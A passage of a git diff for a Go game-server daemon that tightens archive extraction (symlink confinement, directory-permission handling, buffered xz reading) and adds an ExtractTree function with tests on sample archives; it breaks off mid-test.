h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/moby/docker-image-spec v1.3.1 h1:jMKff3w6PgbfSa69GfNg+zN/XLhfXJGnEx3Nl2EsFP0= github.com/moby/docker-image-spec v1.3.1/go.mod h1:eKmb5VW8vQEh/BAr2yvVNvuiJuY6UIocYsFu/DxxRpo= github.com/moby/moby/api v1.56.1 h1:PpWkvVPB7Fr/No8w+TfyJ/I6rWZ2YPZhT3JorIg+06c= @@ -204,8 +106,6 @@ github.com/sirupsen/logrus v1.10.2 h1:G2SED73/qrAu6YwbdxOD6peLkCBI3z7L+ykJFTXJBB github.com/sirupsen/logrus v1.10.2/go.mod h1:SLEg8TqYulVKKfIGHldVp2K2aYz2DKSVBq4g/H5bR7Q= github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I= github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg= -github.com/spiffe/go-spiffe/v2 v2.8.1 h1:eXZMLsu+3MLEPJyGJkolqtVrteZfQdUpOWj6LTiDl/E= -github.com/spiffe/go-spiffe/v2 v2.8.1/go.mod h1:47Q0Q9/AqGha8QLHp+kxpH4Wca7X7EnOtlIJy3mxZ3U= github.com/stangelandcl/ppmd v0.1.1 h1:c25QazhlWUn5nmR1QOzafKhQxBicAr7GGCKER2aJ8H8= github.com/stangelandcl/ppmd v0.1.1/go.mod h1:Rrv7M+/2P5jYr/GMLhBl7Ug3uJ1bUiVzr5LbbaV6xgY= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= @@ -235,20 +135,12 @@ github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= -go.opentelemetry.io/contrib/detectors/gcp v1.45.0 h1:9jR0ZPRok9ryaOQ2Wx8rg5F7Aon59mxrqbVI60/vlBk= -go.opentelemetry.io/contrib/detectors/gcp v1.45.0/go.mod h1:VSme3o2fvSg5bVg0dRzyHaj4Z5EVhG+g2Fde6LKzmQA= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.68.0 h1:0Qx7VGBacMm9ZENQ7TnNObTYI4ShC+lHI16seduaxZo= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.68.0/go.mod h1:Sje3i3MjSPKTSPvVWCaL8ugBzJwik3u4smCjUeuupqg= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 h1:8tvICD4vSTOOsNrsI4Ljf6C+6UKvpTEH5XY3JMoyPoo= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0/go.mod h1:z9+yiacE0IHRqM4qFfkbt/JYlmYXgss8GY/jXoNuPJI= go.opentelemetry.io/otel v1.45.0 h1:pdrWmLHofpubmArBv1LgFSv1Z0Ie/ppdZzu+kUN5EeU= go.opentelemetry.io/otel v1.45.0/go.mod h1:XZxIqPapzEYnhNSScF5DIqXhm/rYi0FzCe2XddAwZfQ= -go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.44.0 h1:hqxVTu/GtBF+vJ8d1fzW7fRxZFvgoDjWcxwwCaFDYpU= -go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.44.0/go.mod h1:z5fVEF4X5v0ESvlJqBrrFlBVoj5EQuefZpzsu7R+x5Q= go.opentelemetry.io/otel/metric v1.45.0 h1:7Eg1uH7CJ5cXv9is6tnBe1FI6rj1nwUdbFypRm3br/M= go.opentelemetry.io/otel/metric v1.45.0/go.mod h1:HAPbm1nd3p1PmFH7v2dR+6BjXxw+Lq4a2+pndMAm08s= -go.opentelemetry.io/otel/metric/x v0.67.0 h1:PcicCNZFkZ4bXfSooXdo3WN7RBOVOtjVdo1wD358Uns= -go.opentelemetry.io/otel/metric/x v0.67.0/go.mod h1:FBjCWZe6wgcqxcMtjdGiClDKXb2YxxXii0CXftE4QtI= go.opentelemetry.io/otel/sdk v1.45.0 h1:4VVSMgQ83dUgW2aoX5f6JgLvHwIvzcuLnF9lUdCSpCw= go.opentelemetry.io/otel/sdk v1.45.0/go.mod h1:Sr40LgXV7DsKMMJMKOhUWOgMWTfAaqvm2kF0g7ilwuA= go.opentelemetry.io/otel/sdk/metric v1.45.0 h1:oVFszMfyj1Am6s24Vtc7wBb8BKLcwepJjNEYILuiE3o= @@ -261,12 +153,8 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= go4.org v0.0.0-20260112195520-a5071408f32f h1:ziUVAjmTPwQMBmYR1tbdRFJPtTcQUI12fH9QQjfb0Sw= go4.org v0.0.0-20260112195520-a5071408f32f/go.mod h1:ZRJnO5ZI4zAwMFp+dS1+V6J6MSyAowhRqAE+DPa1Xp0= -golang.org/x/crypto v0.57.0 h1:3ZVCjf8Ggz7zneR/EHRVx68Ctf+2pmIMP2UFhh9cC6M= -golang.org/x/crypto v0.57.0/go.mod h1:Fdz0i5U6CoizGwLda9DttjSk6qlZo25zYNtR+ycvuZA= golang.org/x/net v0.60.0 h1:79p50tfZlm0J9YfoDsSi639qSXNGVwEzOPLCxM2FsYU= golang.org/x/net v0.60.0/go.mod h1:2DA/G1UfVbCpQPeWTmMPGY7Cs2PkBkwu743bVX5PIVg= -golang.org/x/oauth2 v0.37.0 h1:JUlcxA8oAtauLfiH8FX2/FkAWHAdi0QtGCGc+hofE98= -golang.org/x/oauth2 v0.37.0/go.mod h1:IxwZNxUULJmpBFf9K/9NTMSIfZZuvuTy1gGxhigP/58= golang.org/x/sync v0.25.0 h1:dJnifr0nMV8/SBnBvdo4eSGGnrc3O4FFx6IqvtLcmRs= golang.org/x/sync v0.25.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -275,17 +163,9 @@ golang.org/x/sys v0.50.0 h1:dkKZEFTEKaLr1sjhs0WiKqoi8Jj5nHbS3Njmx1UoMJs= golang.org/x/sys v0.50.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= golang.org/x/text v0.42.0 h1:JbOZXgfeCPU9gacVtYliJqOhD+zhrEqK4LfdpmlUZqI= golang.org/x/text v0.42.0/go.mod h1:ojzP1Z+2QtioaF8DTtO8K5q7JWVVYwZKenzujK0Zd0E= -golang.org/x/time v0.16.0 h1:vMb6ptszcQMkcwiRTAuNNU50gom6++Q/6gY2hDM6VDE= -golang.org/x/time v0.16.0/go.mod h1:rVKOqvZeKvrDKTQiAHJ7wmwP0RzleSphoEA9RcdLA0s= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= -google.golang.org/api v0.299.0 h1:b3K+ydSMd0kh6TQI6bJyApRQfqQX2MfSOaVkpM59mJw= -google.golang.org/api v0.299.0/go.mod h1:zlR3GVA8b2R5nv5Ij9UWe37StVB3cxDD7DBFi4ZFsHw= -google.golang.org/genproto v0.0.0-20260715232425-e75dac1f907d h1:C9v1o0/4quuhOAfmRXA2j+we0PqZIp8traLdeogF3Ms= -google.golang.org/genproto v0.0.0-20260715232425-e75dac1f907d/go.mod h1:Wz2wFJntZFmLGo7pLDXZ3wYk5hyc0Mb+SkHhDDXT+lU= -google.golang.org/genproto/googleapis/api v0.0.0-20260817212433-ac3dfec99bb1 h1:lrupDmKL3p5kEX1M92oan027eCKcouzjuPbH6YBK+Rs= -google.golang.org/genproto/googleapis/api v0.0.0-20260817212433-ac3dfec99bb1/go.mod h1:q/3oV3jAi5vwelxsVAprMBC8BcM2zmNe+IjRGd+9/ks= google.golang.org/genproto/googleapis/rpc v0.0.0-20260921155816-b14227669459 h1:b0xCahf3FK2m2Cv0p4vTozGPWncCvLfwV86UNg8xWU8= google.golang.org/genproto/googleapis/rpc v0.0.0-20260921155816-b14227669459/go.mod h1:OaIUM3+LpYcK2GXM4FTmhWoIq371Owdr+Cc7/BsYHHc= google.golang.org/grpc v1.85.0 h1:BPBCfuVRQ1qvBhKDOq9uvQllMvO59rKsYhXpp7Dd8vw= diff --git a/internal/app/archive/archiver.go b/internal/app/archive/archiver.go index 5e45b8e..99246bf 100644 --- a/internal/app/archive/archiver.go +++ b/internal/app/archive/archiver.go @@ -18,6 +18,11 @@ // destination alone, so an entry naming a path inside one of them is followed // through the links standing there, as far as the destination reaches. // +// ExtractTree unpacks for a caller inside the daemon that holds both ends +// already, the installation of a game server: it places no path, and writes +// through the root it is handed. How entries meet what stands in the +// destination is described there. +// // Extraction feeds attacker-controlled bytes to third-party format decoders, // so the caller is expected to run it under a recover (see the gRPC archive // handler). One residual risk cannot be handled here: bodgit/sevenzip sizes @@ -65,6 +70,8 @@ type Result struct { // Format the operation actually used, which differs from the requested one // when the request left it unspecified and the daemon resolved it. Format pb.ArchiveFormat + // SkippedLinks are the symlink entries ExtractTree left out. + SkippedLinks []SkippedLink } // ProgressFunc is invoked after each processed entry (it may be nil). diff --git a/internal/app/archive/create_tar.go b/internal/app/archive/create_tar.go index 4d2f509..8019007 100644 --- a/internal/app/archive/create_tar.go +++ b/internal/app/archive/create_tar.go @@ -2,6 +2,7 @@ package archive import ( "archive/tar" + "bufio" "compress/bzip2" "compress/gzip" "context" @@ -75,7 +76,10 @@ func decompressReader(r io.Reader, comp compression) (io.ReadCloser, error) { // does not recognize, which is not what should face untrusted input. return io.NopCloser(bzip2.NewReader(r)), nil case compXz: - xr, err := xz.NewReader(r) + // The decoder takes its input a byte at a time and asks a reader that + // cannot hand it over that way for one byte a call. Read straight from + // a file, that is a read(2) for every byte of the archive. + xr, err := xz.NewReader(bufio.NewReader(r)) if err != nil { return nil, errors.Wrap(err, "failed to init xz reader") } diff --git a/internal/app/archive/decompress_test.go b/internal/app/archive/decompress_test.go new file mode 100644 index 0000000..ed1dfb7 --- /dev/null +++ b/internal/app/archive/decompress_test.go @@ -0,0 +1,91 @@ +package archive + +import ( + "bytes" + "io" + "math/rand/v2" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// readCounter counts how many times the reader under it is asked for data. +type readCounter struct { + reader io.Reader + calls int +} + +func (c *readCounter) Read(p []byte) (int, error) { + c.calls++ + + return c.reader.Read(p) +} + +// An archive is decompressed straight from the file it is in, so every call +// the decompressor makes for its input is a read(2). A decoder that takes its +// input a byte a call turns an archive of hundreds of megabytes into hundreds +// of millions of them. +func TestDecompressReader_InputIsReadInBlocks(t *testing.T) { + t.Parallel() + + const ( + contentBytes = 256 << 10 + // A decompressor may read in blocks as small as this. + smallestBlockBytes = 512 + ) + + // Random bytes out of eight values. They compress, so a decoder has to + // decode them: what does not compress is stored as it is and copied out in + // bulk. And they compress to a good third of their size and no further, so + // the stream stays long enough for a call a byte to show. + content := make([]byte, contentBytes) + _, err := rand.NewChaCha8([32]byte{1}).Read(content) + require.NoError(t, err) + + for i := range content { + content[i] &= 0x07 + } + + tests := []struct { + name string + comp compression + }{ + {name: "gzip", comp: compGzip}, + {name: "bzip2", comp: compBzip2}, + {name: "xz", comp: compXz}, + {name: "zstd", comp: compZstd}, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + var stream bytes.Buffer + + writer, closer, err := compressWriter(&stream, test.comp, nil) + require.NoError(t, err) + + _, err = writer.Write(content) + require.NoError(t, err) + require.NoError(t, closer.Close()) + + streamBytes := stream.Len() + require.Less(t, streamBytes, contentBytes*3/4, "the content was meant to compress") + require.Greater(t, streamBytes, contentBytes/4, "the stream was meant to stay long") + + counter := &readCounter{reader: &stream} + + decompressed, err := decompressReader(counter, test.comp) + require.NoError(t, err) + + got, err := io.ReadAll(decompressed) + require.NoError(t, err) + require.NoError(t, decompressed.Close()) + + require.True(t, bytes.Equal(content, got), "decompressed content differs from what was compressed") + assert.LessOrEqual(t, counter.calls, streamBytes/smallestBlockBytes, + "a stream of %d bytes took %d reads", streamBytes, counter.calls) + }) + } +} diff --git a/internal/app/archive/extract.go b/internal/app/archive/extract.go index 487c331..820850a 100644 --- a/internal/app/archive/extract.go +++ b/internal/app/archive/extract.go @@ -22,15 +22,34 @@ const ( // sink places extracted entries under the destination inside the root, // applying the conflict policy, permission rules, ownership and limits. type sink struct { - root *os.Root - dest string - policy pb.ArchiveConflictPolicy - preserve bool - mode os.FileMode // when != 0 overrides file permissions from the archive - owner osowner.Options - acc *accumulator - skipped []string - links []createdLink + root *os.Root + dest string + policy pb.ArchiveConflictPolicy + // preserveFiles and preserveDirs take the permission bits of file and of + // directory entries from the archive. + preserveFiles bool + preserveDirs bool + mode os.FileMode // when != 0 overrides file permissions from the archive + owner osowner.Options + acc *accumulator + skipped []string + links []createdLink + + // mergeLinkedDirs lets a directory entry that meets a symlink go on through + // it, as long as the root follows the link to a directory. Without it the + // link is an entry in the way like any other and falls to the policy. + mergeLinkedDirs bool + // skipUnsafeLinks leaves out a symlink entry whose target is not confined + // to the destination instead of failing the run, and records it. + skipUnsafeLinks bool + unsafeLinks []SkippedLink + // keepDirs fails the run where an entry that is not a directory meets a + // directory, instead of taking the directory and all below it away. + keepDirs bool + // destPerm is the permission bits of the entry the archive has for the + // destination itself, "./", and 0 where it has none. The sink only notes + // them: what becomes of the destination is up to whoever unpacks into it. + destPerm os.FileMode } // createdLink records a symlink this run put on disk so its target can be @@ -67,6 +86,12 @@ func (s *sink) resolveConflict(target string, isDir bool) (skip, existed bool, e return false, false, nil } + if s.mergeLinkedDirs { + if linkErr := s.linkOnTheWay(path.Dir(target)); linkErr != nil { + return false, false, linkErr + } + } + return false, false, errors.Wrapf(lstatErr, "failed to stat %q", target) } @@ -75,11 +100,21 @@ func (s *sink) resolveConflict(target string, isDir bool) (skip, existed bool, e return false, true, nil } + if isDir && s.mergeLinkedDirs && existing.Mode()&os.ModeSymlink != 0 { + return false, true, s.linkedDir(target) + } + switch s.policy { case pb.ArchiveConflictPolicy_ARCHIVE_CONFLICT_POLICY_SKIP: return true, true, nil case pb.ArchiveConflictPolicy_ARCHIVE_CONFLICT_POLICY_OVERWRITE: if existing.IsDir() { + if s.keepDirs { + return false, true, errors.Errorf( + "%q is a directory, and the archive has an entry under that name that is not one", target, + ) + } + if err := s.root.RemoveAll(target); err != nil { return false, true, errors.Wrapf(err, "failed to remove %q", target) } @@ -93,11 +128,52 @@ func (s *sink) resolveConflict(target string, isDir bool) (skip, existed bool, e } } +// linkedDir reports why the symlink standing at target cannot take the place +// of a directory: the root does not follow it, or it leads to something else. +func (s *sink) linkedDir(target string) error { + info, err := s.root.Stat(target) + if err != nil { + return errors.Wrapf(err, "%q is a symlink that is not followed inside the destination", target) + } + + if !info.IsDir() { + return errors.Errorf("%q is a symlink that does not lead to a directory", target) + } + + return nil +} + +// linkOnTheWay names the first symlink on the way to dir that cannot take the +// place of a directory. The root refuses such a path as a whole, which does not +// say where on it the link stands. +func (s *sink) linkOnTheWay(dir string) error { + passed := "." + + for _, name := range strings.Split(dir, "/") { + passed = path.Join(passed, name) + + info, err := s.root.Lstat(passed) + if err != nil { + return nil + } + + if info.Mode()&os.ModeSymlink == 0 { + continue + } + + if err := s.linkedDir(passed); err != nil { + return err + } + } + + return nil +} + func (s *sink) filePerm(archiveMode os.FileMode) os.FileMode { if s.mode != 0 { return s.mode } - if s.preserve && archiveMode.Perm() != 0 { + if s.preserveFiles && archiveMode.Perm() != 0 { return archiveMode.Perm() } @@ -105,7 +181,7 @@ func (s *sink) filePerm(archiveMode os.FileMode) os.FileMode { } func (s *sink) dirPerm(archiveMode os.FileMode) os.FileMode { - if s.preserve && archiveMode.Perm() != 0 { + if s.preserveDirs && archiveMode.Perm() != 0 { return archiveMode.Perm() } @@ -118,6 +194,8 @@ func (s *sink) putDir(name string, archiveMode os.FileMode) error { return err } if !ok { + s.destPerm = archiveMode.Perm() + return nil } @@ -131,14 +209,14 @@ func (s *sink) putDir(name string, archiveMode os.FileMode) error { return nil } - if err := mkdirAllOwned(s.root, target, s.dirPerm(archiveMode), s.owner); err != nil { + if err := s.mkdirAll(target, s.dirPerm(archiveMode)); err != nil { return err } // MkdirAll applies umask; chmod for the exact requested permissions. A // pre-existing directory merged into keeps its mode unless permissions // are explicitly preserved from the archive. - if !existed || s.preserve { + if !existed || s.preserveDirs { if err := s.root.Chmod(target, s.dirPerm(archiveMode)); err != nil { return errors.Wrapf(err, "failed to chmod directory %q", target) } @@ -383,6 +461,12 @@ func (s *sink) putSymlink(name, linkTarget string) error { } if err := s.checkLinkTarget(target, linkTarget); err != nil { + if s.skipUnsafeLinks { + s.unsafeLinks = append(s.unsafeLinks, SkippedLink{Name: name, Target: linkTarget, Reason: err.Error()}) + + return nil + } + return errors.Wrapf(err, "archive entry %q", name) } @@ -419,7 +503,20 @@ func (s *sink) ensureParent(target string) error { return nil } - return mkdirAllOwned(s.root, parent, defaultDirPerm, s.owner) + return s.mkdirAll(parent, defaultDirPerm) +} + +func (s *sink) mkdirAll(dir string, perm os.FileMode) error { + err := mkdirAllOwned(s.root, dir, perm, s.owner) + if err == nil || !s.mergeLinkedDirs { + return err + } + + if linkErr := s.linkOnTheWay(dir); linkErr != nil { + return linkErr + } + + return err } // mkdirAllOwned creates rel and applies the owner to exactly the directories it @@ -508,13 +605,14 @@ func Extract( } s := &sink{ - root: root, - dest: destRel, - policy: p.GetConflictPolicy(), - preserve: p.GetPreservePermissions(), - mode: os.FileMode(p.GetMode()).Perm(), - owner: ownerOptions(p.GetOwnerUser(), p.GetOwnerUid(), p.GetOwnerGid()), - acc: newAccumulator(p.GetMaxTotalBytes(), p.GetMaxFiles(), progress), + root: root, + dest: destRel, + policy: p.GetConflictPolicy(), + preserveFiles: p.GetPreservePermissions(), + preserveDirs: p.GetPreservePermissions(), + mode: os.FileMode(p.GetMode()).Perm(), + owner: ownerOptions(p.GetOwnerUser(), p.GetOwnerUid(), p.GetOwnerGid()), + acc: newAccumulator(p.GetMaxTotalBytes(), p.GetMaxFiles(), progress), } extractErr := extractEntries(ctx, archiveFile, archiveRel, class, format, s) diff --git a/internal/app/archive/extract_formats.go b/internal/app/archive/extract_formats.go index 5e982f6..9830904 100644 --- a/internal/app/archive/extract_formats.go +++ b/internal/app/archive/extract_formats.go @@ -151,7 +151,7 @@ func extractTar(ctx context.Context, archiveFile *os.File, comp compression, s * if err := s.putSymlink(hdr.Name, hdr.Linkname); err != nil { return err } - case tar.TypeReg, tar.TypeRegA: + case tar.TypeReg, tar.TypeRegA, tar.TypeCont, tar.TypeGNUSparse: if err := s.putFile(hdr.Name, hdr.FileInfo().Mode(), tr); err != nil { return err } diff --git a/internal/app/archive/extract_tree.go b/internal/app/archive/extract_tree.go new file mode 100644 index 0000000..27ce09f --- /dev/null +++ b/internal/app/archive/extract_tree.go @@ -0,0 +1,153 @@ +package archive + +import ( + "context" + "io" + "math" + "os" + + "github.com/pkg/errors" + + "github.com/gameap/daemon/internal/app/osowner" + pb "github.com/gameap/gameap/pkg/proto" +) + +// TreeOptions tune ExtractTree. +type TreeOptions struct { + // Owner is given to every entry the archive creates. + Owner osowner.Options + Progress ProgressFunc +} + +// SkippedLink is a symlink entry ExtractTree left out. +type SkippedLink struct { + Name string + Target string + Reason string +} + +// IsArchiveName reports whether name ends the way the archives this package +// unpacks are conventionally named. A caller that is handed a file without +// being told what it is uses it to tell an archive to unpack from a file to +// keep as it is: the content cannot say, since a jar or a pk3 is a zip to +// anything that looks inside. +func IsArchiveName(name string) bool { + return formatFromExtension(name) != pb.ArchiveFormat_ARCHIVE_FORMAT_UNSPECIFIED +} + +// ExtractTree unpacks archiveFile into the directory root is opened at. +// +// It is Extract for a caller that holds both ends already: the archive as an +// open file, wherever it came from, and the destination as the root every +// entry is written through. Nothing is resolved by a path here, so what the +// entries can reach is decided by how the caller opened root. name is what the +// archive is called; its format is taken from the content and, failing that, +// from the name. +// +// The archive is an installation source the operator configured, and the tree +// it lands in may hold what a tenant put there. The entries are therefore +// placed as follows: +// +// - a file entry replaces the file or the symlink standing under its name: +// the link is taken away and the entry written in its place, not into what +// the link leads to; +// - a directory entry merges into a directory, also through a symlink the +// root follows to one. A symlink the root does not follow, because it leads +// out of the destination or nowhere, fails the run and is named in the +// error: it is neither followed nor taken away; +// - a symlink entry is created when its target stays inside the destination. +// One that does not is left out and reported in Result.SkippedLinks, so that +// an archive carrying an absolute link still installs; +// - a directory standing where the archive has a file or a symlink fails the +// run: a tree is not removed to make room for an entry. +// +// These rules describe a tree that holds still. Whoever owns it can change it +// while the archive is unpacked, and what holds then is the root alone: an +// entry lands inside the directory root is opened at, wherever in it. +// +// File entries keep the permission bits of the archive. So do the directories +// a tar lists, the destination itself among them when the tar has an entry for +// it ("./"), and also a directory that was there before: a directory the +// archive keeps closed to the other users of the node stays closed, whatever +// the files in it allow. +// +// Every other directory is created with 0755, and one that was there keeps its +// mode. That is a directory the archive only implies, and any directory of the +// other formats: those may record no permissions, and their readers make them +// up then (0777 for a directory of a zip made on Windows). +// +// The limits Extract applies to the request of a panel user are not applied. +func ExtractTree( + ctx context.Context, + archiveFile *os.File, + name string, + root *os.Root, + opts TreeOptions, +) (*Result, error) { + if err := ctx.Err(); err != nil { + return nil, errors.Wrap(err, "extract archive canceled") + } + + archiveInfo, err := archiveFile.Stat() + if err != nil { + return nil, errors.Wrapf(err, "failed to stat archive %q", name) + } + + if _, err := archiveFile.Seek(0, io.SeekStart); err != nil { + return nil, errors.Wrapf(err, "failed to rewind archive %q", name) + } + + format, err := detectFormat(archiveFile, name) + if err != nil { + return nil, err + } + + class, err := classify(format) + if err != nil { + return nil, err + } + + s := &sink{ + root: root, + dest: ".", + policy: pb.ArchiveConflictPolicy_ARCHIVE_CONFLICT_POLICY_OVERWRITE, + preserveFiles: true, + preserveDirs: class == classTar, + owner: opts.Owner, + acc: newAccumulator(math.MaxUint64, math.MaxUint32, opts.Progress), + mergeLinkedDirs: true, + skipUnsafeLinks: true, + keepDirs: true, + } + + extractErr := extractEntries(ctx, archiveFile, name, class, format, s) + + // As in Extract: the links are settled against the finished tree, also + // after a run that failed. + linkErr := s.revalidateLinks() + + if extractErr != nil { + return nil, extractErr + } + if linkErr != nil { + return nil, linkErr + } + + // Last, as the entries below it are in by now: a destination its owner may + // not write to would not have taken them from a daemon that is not root. + if s.preserveDirs && s.destPerm != 0 { + if err := root.Chmod(".", s.destPerm); err != nil { + return nil, errors.Wrapf( + err, "failed to give the destination the mode %#o archive %q has for it", s.destPerm, name, + ) + } + } + + return &Result{ + FilesProcessed: s.acc.files, + BytesProcessed: s.acc.bytes, + ArchiveSize: archiveInfo.Size(), + Format: format, + SkippedLinks: s.unsafeLinks, + }, nil +} diff --git a/internal/app/archive/extract_tree_test.go b/internal/app/archive/extract_tree_test.go new file mode 100644 index 0000000..fda266a --- /dev/null +++ b/internal/app/archive/extract_tree_test.go @@ -0,0 +1,366 @@ +package archive + +import ( + "archive/zip" + "compress/gzip" + "context" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + pb "github.com/gameap/gameap/pkg/proto" +) + +// treeDestination opens a fresh directory as the root an archive is unpacked +// through and returns it with its path. +func treeDestination(t *testing.T) (*os.Root, string) { + t.Helper() + + dir := t.TempDir() + + root, err := os.OpenRoot(dir) + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + return root, dir +} + +func openArchive(t *testing.T, path string) *os.File { + t.Helper() + + f, err := os.Open(path) + require.NoError(t, err) + t.Cleanup(func() { _ = f.Close() }) + + return f +} + +func fixturePath(elem ...string) string { + return filepath.Join(append([]string{"..", "..", "..", "test", "files"}, elem...)...) +} + +func TestIsArchiveName(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + file string + want bool + }{ + {name: "tar_gz", file: "hlds.tar.gz", want: true}, + {name: "tar_xz", file: "hlcs_base.tar.xz", want: true}, + {name: "tgz", file: "game.tgz", want: true}, + {name: "zip", file: "game.zip", want: true}, + {name: "upper_case_extension", file: "GAME.ZIP", want: true}, + {name: "seven_zip", file: "game.7z", want: true}, + {name: "rar", file: "game.rar", want: true}, + {name: "single_compressed_file", file: "server.jar.gz", want: true}, + {name: "jar_is_kept_as_it_is", file: "server.jar", want: false}, + {name: "pk3_is_kept_as_it_is", file: "pak0.pk3", want: false}, + {name: "executable", file: "samp03svr", want: false}, + {name: "archive_extension_in_a_directory_name", file: "mods.zip/readme.txt", want: false}, + {name: "empty_name", file: "", want: false}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + assert.Equal(t, tt.want, IsArchiveName(tt.file)) + }) + } +} + +func TestExtractTree_Formats(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + archive string + wantFormat pb.ArchiveFormat + wantFiles map[string]string + }{ + { + name: "tar_gz", + archive: fixturePath("local_repository", "game.tar.gz"), + wantFormat: pb.ArchiveFormat_ARCHIVE_FORMAT_TAR_GZ, + wantFiles: map[string]string{"game_file_from_tar_gz": "game_file_from_tar_gz\n"}, + }, + { + name: "tar_xz", + archive: fixturePath("local_repository", "game.tar.xz"), + wantFormat: pb.ArchiveFormat_ARCHIVE_FORMAT_TAR_XZ, + wantFiles: map[string]string{"game_file_from_tar_xz": "game_file_from_tar_xz\n"}, + }, + { + name: "zip", + archive: fixturePath("local_repository", "game.zip"), + wantFormat: pb.ArchiveFormat_ARCHIVE_FORMAT_ZIP, + wantFiles: map[string]string{"game_file_from_zip": "game_file_from_zip\n"}, + }, + { + name: "seven_zip", + archive: fixturePath("local_repository", "game.7z"), + wantFormat: pb.ArchiveFormat_ARCHIVE_FORMAT_7Z, + wantFiles: map[string]string{"game_file_from_7z": "game_file_from_7z\n"}, + }, + { + name: "rar", + archive: fixturePath("test.rar"), + wantFormat: pb.ArchiveFormat_ARCHIVE_FORMAT_RAR, + wantFiles: map[string]string{ + "hello.txt": "Hello, RAR!\n", + "subdir/nested.txt": "nested rar content\n", + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + progress := &progressRecord{} + + res, err := ExtractTree( + context.Background(), + openArchive(t, tt.archive), + filepath.Base(tt.archive), + root, + TreeOptions{Progress: progress.fn()}, + ) + + require.NoError(t, err) + assert.Equal(t, tt.wantFormat, res.Format) + assert.Equal(t, tt.wantFiles, readTree(t, dir)) + assert.Empty(t, res.SkippedLinks) + assert.Positive(t, res.ArchiveSize) + assert.Equal(t, res.FilesProcessed, progress.files) + assert.GreaterOrEqual(t, res.FilesProcessed, int64(len(tt.wantFiles))) + }) + } +} + +// A download is stored under a name of the daemon's own choosing, so the +// content has to be enough to tell what the archive is. +func TestExtractTree_FormatIsReadOffTheContent(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + + res, err := ExtractTree( + context.Background(), + openArchive(t, fixturePath("local_repository", "game.tar.xz")), + "gameap-install-12345", + root, + TreeOptions{}, + ) + + require.NoError(t, err) + assert.Equal(t, pb.ArchiveFormat_ARCHIVE_FORMAT_TAR_XZ, res.Format) + assert.Equal(t, map[string]string{"game_file_from_tar_xz": "game_file_from_tar_xz\n"}, readTree(t, dir)) +} + +func TestExtractTree_ArchiveIsReadFromItsStart(t *testing.T) { + t.Parallel() + + root, dir := treeDestination(t) + + archive := openArchive(t, fixturePath("local_repository", "game.tar.gz")) + _, err := archive.Seek(0, 2) + require.NoError(t, err) + + res, err := ExtractTree(context.Background(), archive, "game.tar.gz", root, TreeOptions{}) + + require.NoError(t, err) + assert.Equal(t, int64(1), res.FilesProcessed) + assert.Equal(t, map[string]string{"game_file_from_tar_gz": "game_file_from_tar_gz\n"}, readTree(t, dir)) +} + +func TestExtractTree_SingleCompressedFile(t *testing.T) { + t.Parallel() + + archivePath := filepath.Join(t.TempDir(), "server.jar.gz") + + f, err := os.Create(archivePath) + require.NoError(t, err) + + zw := gzip.NewWriter(f) + _, err = zw.Write([]byte("jar content")) + require.NoError(t, err) + require.NoError(t, zw.Close()) + require.NoError(t, f.Close()) + + root, dir := treeDestination(t) + + res, err := ExtractTree(context.Background(), openArchive(t, archivePath), "server.jar.gz", root, TreeOptions{}) + + require.NoError(t, err) + assert.Equal(t, pb.ArchiveFormat_ARCHIVE_FORMAT_GZ, res.Format) + assert.Equal(t, int64(1), res.FilesProcessed) + assert.Equal(t, map[string]string{"server.jar": "jar content"}, readTree(t, dir)) +} + +func TestExtractTree_EmptyArchive(t *testing.T) { + t.Parallel() + + archivePath := 